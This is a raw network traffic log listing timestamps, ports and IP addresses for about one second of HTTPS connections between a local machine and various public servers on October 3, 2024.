Oct 3, 2024 10:41:45.689929008 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.689945936 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.689982891 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.689987898 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.690006971 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.690026999 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.690032005 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.690054893 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.690056086 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.690107107 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.701397896 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.701428890 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.701491117 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.701752901 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:45.701762915 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:45.706089973 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706113100 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706120968 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706150055 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706166029 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706168890 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.706177950 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706191063 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.706204891 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.706223965 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.706243992 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.724586010 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.724598885 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.724630117 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.724667072 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.724679947 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.724706888 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.724721909 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.738626003 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.739284992 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.739293098 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.739684105 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.740170956 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.740233898 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.740310907 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.755927086 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.755949974 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.756033897 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.756051064 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.756093025 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.760190010 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.760313988 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.765327930 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:45.765369892 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:45.765444040 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:45.765815020 CEST	50025	443	192.168.2.4	185.89.210.212
Oct 3, 2024 10:41:45.765825987 CEST	443	50025	185.89.210.212	192.168.2.4
Oct 3, 2024 10:41:45.781626940 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.781694889 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.781709909 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.781724930 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.781748056 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.783400059 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.788237095 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788245916 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788283110 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788296938 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.788300991 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788324118 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788342953 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.788342953 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.788378000 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.788397074 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794497013 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794506073 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794543982 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794560909 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794569969 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794574022 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794595003 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794615030 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794624090 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794672966 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794718027 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794925928 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794941902 CEST	443	50011	18.172.103.101	192.168.2.4
Oct 3, 2024 10:41:45.794955969 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.794982910 CEST	50011	443	192.168.2.4	18.172.103.101
Oct 3, 2024 10:41:45.807364941 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.807425976 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.807475090 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.807499886 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.807524920 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.830343962 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:45.830388069 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:45.830475092 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:45.831774950 CEST	50026	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:45.831792116 CEST	443	50026	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:45.833256006 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.833271027 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.833302975 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.833332062 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.833353043 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.833383083 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.833396912 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.836653948 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.836710930 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.842366934 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.842430115 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.844530106 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.844602108 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.846738100 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.846801043 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.848961115 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.849040031 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.857372999 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.857412100 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.857450962 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.857471943 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.857491970 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.857515097 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.869501114 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.869529009 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.869595051 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.869606018 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.869648933 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.874077082 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:45.874116898 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:45.874239922 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:45.876689911 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:45.876713991 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:45.881520987 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.881545067 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.881620884 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.881640911 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.881891012 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.884068966 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:45.884108067 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:45.884305000 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:45.884462118 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.884497881 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.884643078 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.885401011 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:45.885411024 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:45.885749102 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.885762930 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.891623974 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.891696930 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.892018080 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.892256975 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.892282963 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.892323017 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.892347097 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.892363071 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.893575907 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.895988941 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.896042109 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.903099060 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.903141975 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.903227091 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.904011965 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.904046059 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.904076099 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.904086113 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.904112101 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.904267073 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.904279947 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.905750990 CEST	50017	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:45.905770063 CEST	443	50017	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:45.915172100 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.915199041 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.915313959 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.915335894 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.921900988 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.921972036 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.921988964 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.922002077 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.922046900 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.923240900 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.923285961 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.923340082 CEST	50004	443	192.168.2.4	157.240.0.6
Oct 3, 2024 10:41:45.923356056 CEST	443	50004	157.240.0.6	192.168.2.4
Oct 3, 2024 10:41:45.923371077 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.924009085 CEST	50032	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.924026966 CEST	443	50032	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.949006081 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.949045897 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.949193001 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.949505091 CEST	50033	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.949512959 CEST	443	50033	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.964551926 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.964587927 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.964684010 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.965071917 CEST	50034	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.965084076 CEST	443	50034	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.982395887 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.982433081 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:45.982572079 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.982831955 CEST	50035	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:45.982844114 CEST	443	50035	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.001458883 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.001483917 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.001544952 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.001780987 CEST	50036	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.001791000 CEST	443	50036	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.033591986 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.033930063 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.033951044 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.035031080 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.035094023 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.035711050 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.035779953 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.035994053 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.036003113 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.059674025 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:46.060446024 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:46.060496092 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:46.060718060 CEST	50010	443	192.168.2.4	18.173.205.127
Oct 3, 2024 10:41:46.060734034 CEST	443	50010	18.173.205.127	192.168.2.4
Oct 3, 2024 10:41:46.155306101 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.155591965 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.155617952 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.156652927 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.156714916 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.157179117 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.157248974 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.157354116 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.199399948 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.200576067 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.200604916 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.200668097 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.200894117 CEST	50038	443	192.168.2.4	104.18.36.155
Oct 3, 2024 10:41:46.200901031 CEST	443	50038	104.18.36.155	192.168.2.4
Oct 3, 2024 10:41:46.229252100 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.229548931 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.229568005 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.273709059 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.274010897 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.274024010 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.274370909 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.274475098 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.275084019 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.275213957 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.276422024 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.276489019 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.276675940 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.276684046 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.277425051 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.277614117 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.278239012 CEST	50024	443	192.168.2.4	35.186.224.24
Oct 3, 2024 10:41:46.278258085 CEST	443	50024	35.186.224.24	192.168.2.4
Oct 3, 2024 10:41:46.327171087 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.327625990 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.327639103 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.328630924 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.328691959 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.330028057 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.330077887 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.330207109 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.339030027 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.371395111 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.401974916 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.401995897 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.402091026 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.402106047 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.402244091 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.403023005 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.403031111 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.403197050 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.403204918 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.406618118 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.406671047 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.406680107 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.406996965 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.438754082 CEST	50022	443	192.168.2.4	199.232.188.157
Oct 3, 2024 10:41:46.438766956 CEST	443	50022	199.232.188.157	192.168.2.4
Oct 3, 2024 10:41:46.494457006 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.494554996 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.494566917 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.494831085 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.494962931 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.494973898 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.495709896 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.495803118 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.495811939 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.496958971 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.497040987 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.497064114 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.497071028 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.497128010 CEST	443	50023	150.171.28.10	192.168.2.4
Oct 3, 2024 10:41:46.497144938 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.497243881 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.521739960 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.522887945 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.532073975 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.532097101 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.532111883 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.533320904 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.533339024 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.533778906 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.533809900 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.533844948 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.534926891 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.535036087 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.535774946 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.535821915 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.535851955 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.535891056 CEST	443	50027	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:46.537206888 CEST	50027	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:46.540544987 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.540631056 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.540821075 CEST	50031	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.540829897 CEST	443	50031	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.541414976 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.541584015 CEST	443	50029	142.250.186.162	192.168.2.4
Oct 3, 2024 10:41:46.541594028 CEST	50029	443	192.168.2.4	142.250.186.162
Oct 3, 2024 10:41:46.542181969 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542211056 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542218924 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542247057 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542262077 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542283058 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542310953 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.542310953 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.542326927 CEST	443	50018	18.245.86.14	192.168.2.4
Oct 3, 2024 10:41:46.542375088 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.542375088 CEST	50018	443	192.168.2.4	18.245.86.14
Oct 3, 2024 10:41:46.542467117 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.542905092 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.542917013 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.543976068 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.544039965 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.545066118 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.545131922 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.545231104 CEST	50030	443	192.168.2.4	142.250.186.98
Oct 3, 2024 10:41:46.545237064 CEST	443	50030	142.250.186.98	192.168.2.4
Oct 3, 2024 10:41:46.548089981 CEST	50023	443	192.168.2.4	150.171.28.10
Oct 3, 2024 10:41:46.548114061 CEST	443	50023	150.171.28.10	192.168.2.4
